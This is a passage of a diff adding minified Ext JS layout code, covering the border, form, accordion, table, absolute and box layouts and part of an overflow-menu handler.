+ if (!F && Ext.layout.BorderLayout.WARN !== false) { + throw"No center region defined in BorderLayout " + g.id + } + if (y && y.isVisible()) { + H = y.getSize(); + z = y.getMargins(); + H.width = t - (z.left + z.right); + H.x = z.left; + H.y = z.top; + p = H.height + H.y + z.bottom; + A -= p; + y.applyLayout(H) + } + if (u && u.isVisible()) { + H = u.getSize(); + z = u.getMargins(); + H.width = t - (z.left + z.right); + H.x = z.left; + G = (H.height + z.top + z.bottom); + H.y = D - G + z.top; + A -= G; + u.applyLayout(H) + } + if (l && l.isVisible()) { + H = l.getSize(); + z = l.getMargins(); + H.height = A - (z.top + z.bottom); + H.x = z.left; + H.y = p + z.top; + d = (H.width + z.left + z.right); + q += d; + r -= d; + l.applyLayout(H) + } + if (E && E.isVisible()) { + H = E.getSize(); + z = E.getMargins(); + H.height = A - (z.top + z.bottom); + d = (H.width + z.left + z.right); + H.x = t - d + z.left; + H.y = p + z.top; + r -= d; + E.applyLayout(H) + } + if (F) { + z = F.getMargins(); + var k = {x:q + z.left, y:p + z.top, width:r - (z.left + z.right), height:A - (z.top + z.bottom)}; + F.applyLayout(k) + } + if (j) { + for (B = 0, C = j.length; B < C; B++) { + j[B].collapse(false) + } + } + if (Ext.isIE && Ext.isStrict) { + I.repaint() + } + if (B = I.getStyle("overflow") && B != "hidden" && !this.adjustmentPass) { + var a = this.getLayoutTargetSize(); + if (a.width != v.width || a.height != v.height) { + this.adjustmentPass = true; + this.onLayout(g, I) + } + } + delete this.adjustmentPass +}, destroy:function () { + var b = ["north", "south", "east", "west"], a, c; + for (a = 0; a < b.length; a++) { + c = this[b[a]]; + if (c) { + if (c.destroy) { + c.destroy() + } else { + if (c.split) { + c.split.destroy(true) + } + } + } + } + Ext.layout.BorderLayout.superclass.destroy.call(this) +}}); +Ext.layout.BorderLayout.Region = function (b, a, c) { + Ext.apply(this, a); + this.layout = b; + this.position = c; + this.state = {}; + if (typeof this.margins == "string") { + this.margins = this.layout.parseMargins(this.margins) + } + this.margins = Ext.applyIf(this.margins || {}, this.defaultMargins); + if (this.collapsible) { + if (typeof this.cmargins == "string") { + this.cmargins = this.layout.parseMargins(this.cmargins) + } + if (this.collapseMode == "mini" && !this.cmargins) { + this.cmargins = {left:0, top:0, right:0, bottom:0} + } else { + this.cmargins = Ext.applyIf(this.cmargins || {}, c == "north" || c == "south" ? this.defaultNSCMargins : this.defaultEWCMargins) + } + } +}; +Ext.layout.BorderLayout.Region.prototype = {collapsible:false, split:false, floatable:true, minWidth:50, minHeight:50, defaultMargins:{left:0, top:0, right:0, bottom:0}, defaultNSCMargins:{left:5, top:5, right:5, bottom:5}, defaultEWCMargins:{left:5, top:0, right:5, bottom:0}, floatingZIndex:100, isCollapsed:false, render:function (b, c) { + this.panel = c; + c.el.enableDisplayMode(); + this.targetEl = b; + this.el = c.el; + var a = c.getState, d = this.position; + c.getState = function () { + return Ext.apply(a.call(c) || {}, this.state) + }.createDelegate(this); + if (d != "center") { + c.allowQueuedExpand = false; + c.on({beforecollapse:this.beforeCollapse, collapse:this.onCollapse, beforeexpand:this.beforeExpand, expand:this.onExpand, hide:this.onHide, show:this.onShow, scope:this}); + if (this.collapsible || this.floatable) { + c.collapseEl = "el"; + c.slideAnchor = this.getSlideAnchor() + } + if (c.tools && c.tools.toggle) { + c.tools.toggle.addClass("x-tool-collapse-" + d); + c.tools.toggle.addClassOnOver("x-tool-collapse-" + d + "-over") + } + } +}, getCollapsedEl:function () { + if (!this.collapsedEl) { + if (!this.toolTemplate) { + var b = new Ext.Template('
 
'); + b.disableFormats = true; + b.compile(); + Ext.layout.BorderLayout.Region.prototype.toolTemplate = b + } + this.collapsedEl = this.targetEl.createChild({cls:"x-layout-collapsed x-layout-collapsed-" + this.position, id:this.panel.id + "-xcollapsed"}); + this.collapsedEl.enableDisplayMode("block"); + if (this.collapseMode == "mini") { + this.collapsedEl.addClass("x-layout-cmini-" + this.position); + this.miniCollapsedEl = this.collapsedEl.createChild({cls:"x-layout-mini x-layout-mini-" + this.position, html:" "}); + this.miniCollapsedEl.addClassOnOver("x-layout-mini-over"); + this.collapsedEl.addClassOnOver("x-layout-collapsed-over"); + this.collapsedEl.on("click", this.onExpandClick, this, {stopEvent:true}) + } else { + if (this.collapsible !== false && !this.hideCollapseTool) { + var a = this.expandToolEl = this.toolTemplate.append(this.collapsedEl.dom, {id:"expand-" + this.position}, true); + a.addClassOnOver("x-tool-expand-" + this.position + "-over"); + a.on("click", this.onExpandClick, this, {stopEvent:true}) + } + if (this.floatable !== false || this.titleCollapse) { + this.collapsedEl.addClassOnOver("x-layout-collapsed-over"); + this.collapsedEl.on("click", this[this.floatable ? "collapseClick" : "onExpandClick"], this) + } + } + } + return this.collapsedEl +}, onExpandClick:function (a) { + if (this.isSlid) { + this.panel.expand(false) + } else { + this.panel.expand() + } +}, onCollapseClick:function (a) { + this.panel.collapse() +}, beforeCollapse:function (c, a) { + this.lastAnim = a; + if (this.splitEl) { + this.splitEl.hide() + } + this.getCollapsedEl().show(); + var b = this.panel.getEl(); + this.originalZIndex = b.getStyle("z-index"); + b.setStyle("z-index", 100); + this.isCollapsed = true; + this.layout.layout() +}, onCollapse:function (a) { + this.panel.el.setStyle("z-index", 1); + if (this.lastAnim === false || this.panel.animCollapse === false) { + this.getCollapsedEl().dom.style.visibility = "visible" + } else { + this.getCollapsedEl().slideIn(this.panel.slideAnchor, {duration:0.2}) + } + this.state.collapsed = true; + this.panel.saveState() +}, beforeExpand:function (a) { + if (this.isSlid) { + this.afterSlideIn() + } + var b = this.getCollapsedEl(); + this.el.show(); + if (this.position == "east" || this.position == "west") { + this.panel.setSize(undefined, b.getHeight()) + } else { + this.panel.setSize(b.getWidth(), undefined) + } + b.hide(); + b.dom.style.visibility = "hidden"; + this.panel.el.setStyle("z-index", this.floatingZIndex) +}, onExpand:function () { + this.isCollapsed = false; + if (this.splitEl) { + this.splitEl.show() + } + this.layout.layout(); + this.panel.el.setStyle("z-index", this.originalZIndex); + this.state.collapsed = false; + this.panel.saveState() +}, collapseClick:function (a) { + if (this.isSlid) { + a.stopPropagation(); + this.slideIn() + } else { + a.stopPropagation(); + this.slideOut() + } +}, onHide:function () { + if (this.isCollapsed) { + this.getCollapsedEl().hide() + } else { + if (this.splitEl) { + this.splitEl.hide() + } + } +}, onShow:function () { + if (this.isCollapsed) { + this.getCollapsedEl().show() + } else { + if (this.splitEl) { + this.splitEl.show() + } + } +}, isVisible:function () { + return !this.panel.hidden +}, getMargins:function () { + return this.isCollapsed && this.cmargins ? this.cmargins : this.margins +}, getSize:function () { + return this.isCollapsed ? this.getCollapsedEl().getSize() : this.panel.getSize() +}, setPanel:function (a) { + this.panel = a +}, getMinWidth:function () { + return this.minWidth +}, getMinHeight:function () { + return this.minHeight +}, applyLayoutCollapsed:function (a) { + var b = this.getCollapsedEl(); + b.setLeftTop(a.x, a.y); + b.setSize(a.width, a.height) +}, applyLayout:function (a) { + if (this.isCollapsed) { + this.applyLayoutCollapsed(a) + } else { + this.panel.setPosition(a.x, a.y); + this.panel.setSize(a.width, a.height) + } +}, beforeSlide:function () { + this.panel.beforeEffect() +}, afterSlide:function () { + this.panel.afterEffect() +}, initAutoHide:function () { + if (this.autoHide !== false) { + if (!this.autoHideHd) { + this.autoHideSlideTask = new Ext.util.DelayedTask(this.slideIn, this); + this.autoHideHd = {mouseout:function (a) { + if (!a.within(this.el, true)) { + this.autoHideSlideTask.delay(500) + } + }, mouseover:function (a) { + this.autoHideSlideTask.cancel() + }, scope:this} + } + this.el.on(this.autoHideHd); + this.collapsedEl.on(this.autoHideHd) + } +}, clearAutoHide:function () { + if (this.autoHide !== false) { + this.el.un("mouseout", this.autoHideHd.mouseout); + this.el.un("mouseover", this.autoHideHd.mouseover); + this.collapsedEl.un("mouseout", this.autoHideHd.mouseout); + this.collapsedEl.un("mouseover", this.autoHideHd.mouseover) + } +}, clearMonitor:function () { + Ext.getDoc().un("click", this.slideInIf, this) +}, slideOut:function () { + if (this.isSlid || this.el.hasActiveFx()) { + return + } + this.isSlid = true; + var b = this.panel.tools, c, a; + if (b && b.toggle) { + b.toggle.hide() + } + this.el.show(); + a = this.panel.collapsed; + this.panel.collapsed = false; + if (this.position == "east" || this.position == "west") { + c = this.panel.deferHeight; + this.panel.deferHeight = false; + this.panel.setSize(undefined, this.collapsedEl.getHeight()); + this.panel.deferHeight = c + } else { + this.panel.setSize(this.collapsedEl.getWidth(), undefined) + } + this.panel.collapsed = a; + this.restoreLT = [this.el.dom.style.left, this.el.dom.style.top]; + this.el.alignTo(this.collapsedEl, this.getCollapseAnchor()); + this.el.setStyle("z-index", this.floatingZIndex + 2); + this.panel.el.replaceClass("x-panel-collapsed", "x-panel-floating"); + if (this.animFloat !== false) { + this.beforeSlide(); + this.el.slideIn(this.getSlideAnchor(), {callback:function () { + this.afterSlide(); + this.initAutoHide(); + Ext.getDoc().on("click", this.slideInIf, this) + }, scope:this, block:true}) + } else { + this.initAutoHide(); + Ext.getDoc().on("click", this.slideInIf, this) + } +}, afterSlideIn:function () { + this.clearAutoHide(); + this.isSlid = false; + this.clearMonitor(); + this.el.setStyle("z-index", ""); + this.panel.el.replaceClass("x-panel-floating", "x-panel-collapsed"); + this.el.dom.style.left = this.restoreLT[0]; + this.el.dom.style.top = this.restoreLT[1]; + var a = this.panel.tools; + if (a && a.toggle) { + a.toggle.show() + } +}, slideIn:function (a) { + if (!this.isSlid || this.el.hasActiveFx()) { + Ext.callback(a); + return + } + this.isSlid = false; + if (this.animFloat !== false) { + this.beforeSlide(); + this.el.slideOut(this.getSlideAnchor(), {callback:function () { + this.el.hide(); + this.afterSlide(); + this.afterSlideIn(); + Ext.callback(a) + }, scope:this, block:true}) + } else { + this.el.hide(); + this.afterSlideIn() + } +}, slideInIf:function (a) { + if (!a.within(this.el)) { + this.slideIn() + } +}, anchors:{west:"left", east:"right", north:"top", south:"bottom"}, sanchors:{west:"l", east:"r", north:"t", south:"b"}, canchors:{west:"tl-tr", east:"tr-tl", north:"tl-bl", south:"bl-tl"}, getAnchor:function () { + return this.anchors[this.position] +}, getCollapseAnchor:function () { + return this.canchors[this.position] +}, getSlideAnchor:function () { + return this.sanchors[this.position] +}, getAlignAdj:function () { + var a = this.cmargins; + switch (this.position) { + case"west": + return[0, 0]; + break; + case"east": + return[0, 0]; + break; + case"north": + return[0, 0]; + break; + case"south": + return[0, 0]; + break + } +}, getExpandAdj:function () { + var b = this.collapsedEl, a = this.cmargins; + switch (this.position) { + case"west": + return[-(a.right + b.getWidth() + a.left), 0]; + break; + case"east": + return[a.right + b.getWidth() + a.left, 0]; + break; + case"north": + return[0, -(a.top + a.bottom + b.getHeight())]; + break; + case"south": + return[0, a.top + a.bottom + b.getHeight()]; + break + } +}, destroy:function () { + if (this.autoHideSlideTask && this.autoHideSlideTask.cancel) { + this.autoHideSlideTask.cancel() + } + Ext.destroyMembers(this, "miniCollapsedEl", "collapsedEl", "expandToolEl") +}}; +Ext.layout.BorderLayout.SplitRegion = function (b, a, c) { + Ext.layout.BorderLayout.SplitRegion.superclass.constructor.call(this, b, a, c); + this.applyLayout = this.applyFns[c] +}; +Ext.extend(Ext.layout.BorderLayout.SplitRegion, Ext.layout.BorderLayout.Region, {splitTip:"Drag to resize.", collapsibleSplitTip:"Drag to resize. Double click to hide.", useSplitTips:false, splitSettings:{north:{orientation:Ext.SplitBar.VERTICAL, placement:Ext.SplitBar.TOP, maxFn:"getVMaxSize", minProp:"minHeight", maxProp:"maxHeight"}, south:{orientation:Ext.SplitBar.VERTICAL, placement:Ext.SplitBar.BOTTOM, maxFn:"getVMaxSize", minProp:"minHeight", maxProp:"maxHeight"}, east:{orientation:Ext.SplitBar.HORIZONTAL, placement:Ext.SplitBar.RIGHT, maxFn:"getHMaxSize", minProp:"minWidth", maxProp:"maxWidth"}, west:{orientation:Ext.SplitBar.HORIZONTAL, placement:Ext.SplitBar.LEFT, maxFn:"getHMaxSize", minProp:"minWidth", maxProp:"maxWidth"}}, applyFns:{west:function (c) { + if (this.isCollapsed) { + return this.applyLayoutCollapsed(c) + } + var d = this.splitEl.dom, b = d.style; + this.panel.setPosition(c.x, c.y); + var a = d.offsetWidth; + b.left = (c.x + c.width - a) + "px"; + b.top = (c.y) + "px"; + b.height = Math.max(0, c.height) + "px"; + this.panel.setSize(c.width - a, c.height) +}, east:function (c) { + if (this.isCollapsed) { + return this.applyLayoutCollapsed(c) + } + var d = this.splitEl.dom, b = d.style; + var a = d.offsetWidth; + this.panel.setPosition(c.x + a, c.y); + b.left = (c.x) + "px"; + b.top = (c.y) + "px"; + b.height = Math.max(0, c.height) + "px"; + this.panel.setSize(c.width - a, c.height) +}, north:function (c) { + if (this.isCollapsed) { + return this.applyLayoutCollapsed(c) + } + var d = this.splitEl.dom, b = d.style; + var a = d.offsetHeight; + this.panel.setPosition(c.x, c.y); + b.left = (c.x) + "px"; + b.top = (c.y + c.height - a) + "px"; + b.width = Math.max(0, c.width) + "px"; + this.panel.setSize(c.width, c.height - a) +}, south:function (c) { + if (this.isCollapsed) { + return this.applyLayoutCollapsed(c) + } + var d = this.splitEl.dom, b = d.style; + var a = d.offsetHeight; + this.panel.setPosition(c.x, c.y + a); + b.left = (c.x) + "px"; + b.top = (c.y) + "px"; + b.width = Math.max(0, c.width) + "px"; + this.panel.setSize(c.width, c.height - a) +}}, render:function (a, c) { + Ext.layout.BorderLayout.SplitRegion.superclass.render.call(this, a, c); + var d = this.position; + this.splitEl = a.createChild({cls:"x-layout-split x-layout-split-" + d, html:" ", id:this.panel.id + "-xsplit"}); + if (this.collapseMode == "mini") { + this.miniSplitEl = this.splitEl.createChild({cls:"x-layout-mini x-layout-mini-" + d, html:" "}); + this.miniSplitEl.addClassOnOver("x-layout-mini-over"); + this.miniSplitEl.on("click", this.onCollapseClick, this, {stopEvent:true}) + } + var b = this.splitSettings[d]; + this.split = new Ext.SplitBar(this.splitEl.dom, c.el, b.orientation); + this.split.tickSize = this.tickSize; + this.split.placement = b.placement; + this.split.getMaximumSize = this[b.maxFn].createDelegate(this); + this.split.minSize = this.minSize || this[b.minProp]; + this.split.on("beforeapply", this.onSplitMove, this); + this.split.useShim = this.useShim === true; + this.maxSize = this.maxSize || this[b.maxProp]; + if (c.hidden) { + this.splitEl.hide() + } + if (this.useSplitTips) { + this.splitEl.dom.title = this.collapsible ? this.collapsibleSplitTip : this.splitTip + } + if (this.collapsible) { + this.splitEl.on("dblclick", this.onCollapseClick, this) + } +}, getSize:function () { + if (this.isCollapsed) { + return this.collapsedEl.getSize() + } + var a = this.panel.getSize(); + if (this.position == "north" || this.position == "south") { + a.height += this.splitEl.dom.offsetHeight + } else { + a.width += this.splitEl.dom.offsetWidth + } + return a +}, getHMaxSize:function () { + var b = this.maxSize || 10000; + var a = this.layout.center; + return Math.min(b, (this.el.getWidth() + a.el.getWidth()) - a.getMinWidth()) +}, getVMaxSize:function () { + var b = this.maxSize || 10000; + var a = this.layout.center; + return Math.min(b, (this.el.getHeight() + a.el.getHeight()) - a.getMinHeight()) +}, onSplitMove:function (b, a) { + var c = this.panel.getSize(); + this.lastSplitSize = a; + if (this.position == "north" || this.position == "south") { + this.panel.setSize(c.width, a); + this.state.height = a + } else { + this.panel.setSize(a, c.height); + this.state.width = a + } + this.layout.layout(); + this.panel.saveState(); + return false +}, getSplitBar:function () { + return this.split +}, destroy:function () { + Ext.destroy(this.miniSplitEl, this.split, this.splitEl); + Ext.layout.BorderLayout.SplitRegion.superclass.destroy.call(this) +}}); +Ext.Container.LAYOUTS.border = Ext.layout.BorderLayout; +Ext.layout.FormLayout = Ext.extend(Ext.layout.AnchorLayout, {labelSeparator:":", trackLabels:true, type:"form", onRemove:function (d) { + Ext.layout.FormLayout.superclass.onRemove.call(this, d); + if (this.trackLabels) { + d.un("show", this.onFieldShow, this); + d.un("hide", this.onFieldHide, this) + } + var b = d.getPositionEl(), a = d.getItemCt && d.getItemCt(); + if (d.rendered && a) { + if (b && b.dom) { + b.insertAfter(a) + } + Ext.destroy(a); + Ext.destroyMembers(d, "label", "itemCt"); + if (d.customItemCt) { + Ext.destroyMembers(d, "getItemCt", "customItemCt") + } + } +}, setContainer:function (a) { + Ext.layout.FormLayout.superclass.setContainer.call(this, a); + if (a.labelAlign) { + a.addClass("x-form-label-" + a.labelAlign) + } + if (a.hideLabels) { + Ext.apply(this, {labelStyle:"display:none", elementStyle:"padding-left:0;", labelAdjust:0}) + } else { + this.labelSeparator = Ext.isDefined(a.labelSeparator) ? a.labelSeparator : this.labelSeparator; + a.labelWidth = a.labelWidth || 100; + if (Ext.isNumber(a.labelWidth)) { + var b = Ext.isNumber(a.labelPad) ? a.labelPad : 5; + Ext.apply(this, {labelAdjust:a.labelWidth + b, labelStyle:"width:" + a.labelWidth + "px;", elementStyle:"padding-left:" + (a.labelWidth + b) + "px"}) + } + if (a.labelAlign == "top") { + Ext.apply(this, {labelStyle:"width:auto;", labelAdjust:0, elementStyle:"padding-left:0;"}) + } + } +}, isHide:function (a) { + return a.hideLabel || this.container.hideLabels +}, onFieldShow:function (a) { + a.getItemCt().removeClass("x-hide-" + a.hideMode); + if (a.isComposite) { + a.doLayout() + } +}, onFieldHide:function (a) { + a.getItemCt().addClass("x-hide-" + a.hideMode) +}, getLabelStyle:function (e) { + var b = "", c = [this.labelStyle, e]; + for (var d = 0, a = c.length; d < a; ++d) { + if (c[d]) { + b += c[d]; + if (b.substr(-1, 1) != ";") { + b += ";" + } + } + } + return b +}, renderItem:function (e, a, d) { + if (e && (e.isFormField || e.fieldLabel) && e.inputType != "hidden") { + var b = this.getTemplateArgs(e); + if (Ext.isNumber(a)) { + a = d.dom.childNodes[a] || null + } + if (a) { + e.itemCt = this.fieldTpl.insertBefore(a, b, true) + } else { + e.itemCt = this.fieldTpl.append(d, b, true) + } + if (!e.getItemCt) { + Ext.apply(e, {getItemCt:function () { + return e.itemCt + }, customItemCt:true}) + } + e.label = e.getItemCt().child("label.x-form-item-label"); + if (!e.rendered) { + e.render("x-form-el-" + e.id) + } else { + if (!this.isValidParent(e, d)) { + Ext.fly("x-form-el-" + e.id).appendChild(e.getPositionEl()) + } + } + if (this.trackLabels) { + if (e.hidden) { + this.onFieldHide(e) + } + e.on({scope:this, show:this.onFieldShow, hide:this.onFieldHide}) + } + this.configureItem(e) + } else { + Ext.layout.FormLayout.superclass.renderItem.apply(this, arguments) + } +}, getTemplateArgs:function (c) { + var a = !c.fieldLabel || c.hideLabel, b = (c.itemCls || this.container.itemCls || "") + (c.hideLabel ? " x-hide-label" : ""); + if (Ext.isIE9 && Ext.isIEQuirks && c instanceof Ext.form.TextField) { + b += " x-input-wrapper" + } + return{id:c.id, label:c.fieldLabel, itemCls:b, clearCls:c.clearCls || "x-form-clear-left", labelStyle:this.getLabelStyle(c.labelStyle), elementStyle:this.elementStyle || "", labelSeparator:a ? "" : (Ext.isDefined(c.labelSeparator) ? c.labelSeparator : this.labelSeparator)} +}, adjustWidthAnchor:function (a, d) { + if (d.label && !this.isHide(d) && (this.container.labelAlign != "top")) { + var b = Ext.isIE6 || (Ext.isIE && !Ext.isStrict); + return a - this.labelAdjust + (b ? -3 : 0) + } + return a +}, adjustHeightAnchor:function (a, b) { + if (b.label && !this.isHide(b) && (this.container.labelAlign == "top")) { + return a - b.label.getHeight() + } + return a +}, isValidParent:function (b, a) { + return a && this.container.getEl().contains(b.getPositionEl()) +}}); +Ext.Container.LAYOUTS.form = Ext.layout.FormLayout; +Ext.layout.AccordionLayout = Ext.extend(Ext.layout.FitLayout, {fill:true, autoWidth:true, titleCollapse:true, hideCollapseTool:false, collapseFirst:false, animate:false, sequence:false, activeOnTop:false, type:"accordion", renderItem:function (a) { + if (this.animate === false) { + a.animCollapse = false + } + a.collapsible = true; + if (this.autoWidth) { + a.autoWidth = true + } + if (this.titleCollapse) { + a.titleCollapse = true + } + if (this.hideCollapseTool) { + a.hideCollapseTool = true + } + if (this.collapseFirst !== undefined) { + a.collapseFirst = this.collapseFirst + } + if (!this.activeItem && !a.collapsed) { + this.setActiveItem(a, true) + } else { + if (this.activeItem && this.activeItem != a) { + a.collapsed = true + } + } + Ext.layout.AccordionLayout.superclass.renderItem.apply(this, arguments); + a.header.addClass("x-accordion-hd"); + a.on("beforeexpand", this.beforeExpand, this) +}, onRemove:function (a) { + Ext.layout.AccordionLayout.superclass.onRemove.call(this, a); + if (a.rendered) { + a.header.removeClass("x-accordion-hd") + } + a.un("beforeexpand", this.beforeExpand, this) +}, beforeExpand:function (c, b) { + var a = this.activeItem; + if (a) { + if (this.sequence) { + delete this.activeItem; + if (!a.collapsed) { + a.collapse({callback:function () { + c.expand(b || true) + }, scope:this}); + return false + } + } else { + a.collapse(this.animate) + } + } + this.setActive(c); + if (this.activeOnTop) { + c.el.dom.parentNode.insertBefore(c.el.dom, c.el.dom.parentNode.firstChild) + } + this.layout() +}, setItemSize:function (g, e) { + if (this.fill && g) { + var d = 0, c, b = this.getRenderedItems(this.container), a = b.length, h; + for (c = 0; c < a; c++) { + if ((h = b[c]) != g && !h.hidden) { + d += h.header.getHeight() + } + } + e.height -= d; + g.setSize(e) + } +}, setActiveItem:function (a) { + this.setActive(a, true) +}, setActive:function (c, b) { + var a = this.activeItem; + c = this.container.getComponent(c); + if (a != c) { + if (c.rendered && c.collapsed && b) { + c.expand() + } else { + if (a) { + a.fireEvent("deactivate", a) + } + this.activeItem = c; + c.fireEvent("activate", c) + } + } +}}); +Ext.Container.LAYOUTS.accordion = Ext.layout.AccordionLayout; +Ext.layout.Accordion = Ext.layout.AccordionLayout; +Ext.layout.TableLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:false, type:"table", targetCls:"x-table-layout-ct", tableAttrs:null, setContainer:function (a) { + Ext.layout.TableLayout.superclass.setContainer.call(this, a); + this.currentRow = 0; + this.currentColumn = 0; + this.cells = [] +}, onLayout:function (d, g) { + var e = d.items.items, a = e.length, h, b; + if (!this.table) { + g.addClass("x-table-layout-ct"); + this.table = g.createChild(Ext.apply({tag:"table", cls:"x-table-layout", cellspacing:0, cn:{tag:"tbody"}}, this.tableAttrs), null, true) + } + this.renderAll(d, g) +}, getRow:function (a) { + var b = this.table.tBodies[0].childNodes[a]; + if (!b) { + b = document.createElement("tr"); + this.table.tBodies[0].appendChild(b) + } + return b +}, getNextCell:function (j) { + var a = this.getNextNonSpan(this.currentColumn, this.currentRow); + var g = this.currentColumn = a[0], e = this.currentRow = a[1]; + for (var i = e; i < e + (j.rowspan || 1); i++) { + if (!this.cells[i]) { + this.cells[i] = [] + } + for (var d = g; d < g + (j.colspan || 1); d++) { + this.cells[i][d] = true + } + } + var h = document.createElement("td"); + if (j.cellId) { + h.id = j.cellId + } + var b = "x-table-layout-cell"; + if (j.cellCls) { + b += " " + j.cellCls + } + h.className = b; + if (j.colspan) { + h.colSpan = j.colspan + } + if (j.rowspan) { + h.rowSpan = j.rowspan + } + this.getRow(e).appendChild(h); + return h +}, getNextNonSpan:function (a, c) { + var b = this.columns; + while ((b && a >= b) || (this.cells[c] && this.cells[c][a])) { + if (b && a >= b) { + c++; + a = 0 + } else { + a++ + } + } + return[a, c] +}, renderItem:function (e, a, d) { + if (!this.table) { + this.table = d.createChild(Ext.apply({tag:"table", cls:"x-table-layout", cellspacing:0, cn:{tag:"tbody"}}, this.tableAttrs), null, true) + } + if (e && !e.rendered) { + e.render(this.getNextCell(e)); + this.configureItem(e) + } else { + if (e && !this.isValidParent(e, d)) { + var b = this.getNextCell(e); + b.insertBefore(e.getPositionEl().dom, null); + e.container = Ext.get(b); + this.configureItem(e) + } + } +}, isValidParent:function (b, a) { + return b.getPositionEl().up("table", 5).dom.parentNode === (a.dom || a) +}, destroy:function () { + delete this.table; + Ext.layout.TableLayout.superclass.destroy.call(this) +}}); +Ext.Container.LAYOUTS.table = Ext.layout.TableLayout; +Ext.layout.AbsoluteLayout = Ext.extend(Ext.layout.AnchorLayout, {extraCls:"x-abs-layout-item", type:"absolute", onLayout:function (a, b) { + b.position(); + this.paddingLeft = b.getPadding("l"); + this.paddingTop = b.getPadding("t"); + Ext.layout.AbsoluteLayout.superclass.onLayout.call(this, a, b) +}, adjustWidthAnchor:function (b, a) { + return b ? b - a.getPosition(true)[0] + this.paddingLeft : b +}, adjustHeightAnchor:function (b, a) { + return b ? b - a.getPosition(true)[1] + this.paddingTop : b +}}); +Ext.Container.LAYOUTS.absolute = Ext.layout.AbsoluteLayout; +Ext.layout.BoxLayout = Ext.extend(Ext.layout.ContainerLayout, {defaultMargins:{left:0, top:0, right:0, bottom:0}, padding:"0", pack:"start", monitorResize:true, type:"box", scrollOffset:0, extraCls:"x-box-item", targetCls:"x-box-layout-ct", innerCls:"x-box-inner", constructor:function (a) { + Ext.layout.BoxLayout.superclass.constructor.call(this, a); + if (Ext.isString(this.defaultMargins)) { + this.defaultMargins = this.parseMargins(this.defaultMargins) + } + var d = this.overflowHandler; + if (typeof d == "string") { + d = {type:d} + } + var c = "none"; + if (d && d.type != undefined) { + c = d.type + } + var b = Ext.layout.boxOverflow[c]; + if (b[this.type]) { + b = b[this.type] + } + this.overflowHandler = new b(this, d) +}, onLayout:function (b, h) { + Ext.layout.BoxLayout.superclass.onLayout.call(this, b, h); + var d = this.getLayoutTargetSize(), i = this.getVisibleItems(b), c = this.calculateChildBoxes(i, d), g = c.boxes, j = c.meta; + if (d.width > 0) { + var k = this.overflowHandler, a = j.tooNarrow ? "handleOverflow" : "clearOverflow"; + var e = k[a](c, d); + if (e) { + if (e.targetSize) { + d = e.targetSize + } + if (e.recalculate) { + i = this.getVisibleItems(b); + c = this.calculateChildBoxes(i, d); + g = c.boxes + } + } + } + this.layoutTargetLastSize = d; + this.childBoxCache = c; + this.updateInnerCtSize(d, c); + this.updateChildBoxes(g); + this.handleTargetOverflow(d, b, h) +}, updateChildBoxes:function (c) { + for (var b = 0, e = c.length; b < e; b++) { + var d = c[b], a = d.component; + if (d.dirtySize) { + a.setSize(d.width, d.height) + } + if (isNaN(d.left) || isNaN(d.top)) { + continue + } + a.setPosition(d.left, d.top) + } +}, updateInnerCtSize:function (c, h) { + var i = this.align, g = this.padding, e = c.width, a = c.height; + if (this.type == "hbox") { + var b = e, d = h.meta.maxHeight + g.top + g.bottom; + if (i == "stretch") { + d = a + } else { + if (i == "middle") { + d = Math.max(a, d) + } + } + } else { + var d = a, b = h.meta.maxWidth + g.left + g.right; + if (i == "stretch") { + b = e + } else { + if (i == "center") { + b = Math.max(e, b) + } + } + } + this.innerCt.setSize(b || undefined, d || undefined) +}, handleTargetOverflow:function (d, a, c) { + var e = c.getStyle("overflow"); + if (e && e != "hidden" && !this.adjustmentPass) { + var b = this.getLayoutTargetSize(); + if (b.width != d.width || b.height != d.height) { + this.adjustmentPass = true; + this.onLayout(a, c) + } + } + delete this.adjustmentPass +}, isValidParent:function (b, a) { + return this.innerCt && b.getPositionEl().dom.parentNode == this.innerCt.dom +}, getVisibleItems:function (g) { + var g = g || this.container, e = g.getLayoutTarget(), h = g.items.items, a = h.length, d, j, b = []; + for (d = 0; d < a; d++) { + if ((j = h[d]).rendered && this.isValidParent(j, e) && j.hidden !== true && j.collapsed !== true && j.shouldLayout !== false) { + b.push(j) + } + } + return b +}, renderAll:function (a, b) { + if (!this.innerCt) { + this.innerCt = b.createChild({cls:this.innerCls}); + this.padding = this.parseMargins(this.padding) + } + Ext.layout.BoxLayout.superclass.renderAll.call(this, a, this.innerCt) +}, getLayoutTargetSize:function () { + var b = this.container.getLayoutTarget(), a; + if (b) { + a = b.getViewSize(); + if (Ext.isIE && Ext.isStrict && a.width == 0) { + a = b.getStyleSize() + } + a.width -= b.getPadding("lr"); + a.height -= b.getPadding("tb") + } + return a +}, renderItem:function (a) { + if (Ext.isString(a.margins)) { + a.margins = this.parseMargins(a.margins) + } else { + if (!a.margins) { + a.margins = this.defaultMargins + } + } + Ext.layout.BoxLayout.superclass.renderItem.apply(this, arguments) +}, destroy:function () { + Ext.destroy(this.overflowHandler); + Ext.layout.BoxLayout.superclass.destroy.apply(this, arguments) +}}); +Ext.layout.boxOverflow.None = Ext.extend(Object, {constructor:function (b, a) { + this.layout = b; + Ext.apply(this, a || {}) +}, handleOverflow:Ext.emptyFn, clearOverflow:Ext.emptyFn}); +Ext.layout.boxOverflow.none = Ext.layout.boxOverflow.None; +Ext.layout.boxOverflow.Menu = Ext.extend(Ext.layout.boxOverflow.None, {afterCls:"x-strip-right", noItemsMenuText:'
(None)
', constructor:function (a) { + Ext.layout.boxOverflow.Menu.superclass.constructor.apply(this, arguments); + this.menuItems = [] +}, createInnerElements:function () { + if (!this.afterCt) { + this.afterCt = this.layout.innerCt.insertSibling({cls:this.afterCls}, "before") + } +}, clearOverflow:function (a, g) { + var e = g.width + (this.afterCt ? this.afterCt.getWidth() : 0), b = this.menuItems; + this.hideTrigger(); + for (var c = 0, d = b.length; c < d; c++) { + b.pop().component.show() + } + return{targetSize:{height:g.height, width:e}} +}, showTrigger:function () { + this.createMenu(); + this.menuTrigger.show() +}, hideTrigger:function () { + if (this.menuTrigger != undefined) { + this.menuTrigger.hide() + } +}, beforeMenuShow:function (h) { + var b = this.menuItems, a = b.length, g, e; + var c = function (j, i) { + return j.isXType("buttongroup") && !(i instanceof Ext.Toolbar.Separator) + }; + this.clearMenu(); + h.removeAll(); + for (var d = 0; d < a; d++) { + g = b[d].component; + if (e && (c(g, e) || c(e, g))) { + h.add("-") + } + this.addComponentToMenu(h, g); + e = g + } + if (h.items.length < 1) { + h.add(this.noItemsMenuText) + } +}, createMenuConfig:function (c, a) { + var b = Ext.apply({}, c.initialConfig), d = c.toggleGroup; + Ext.copyTo(b, c, ["iconCls", "icon", 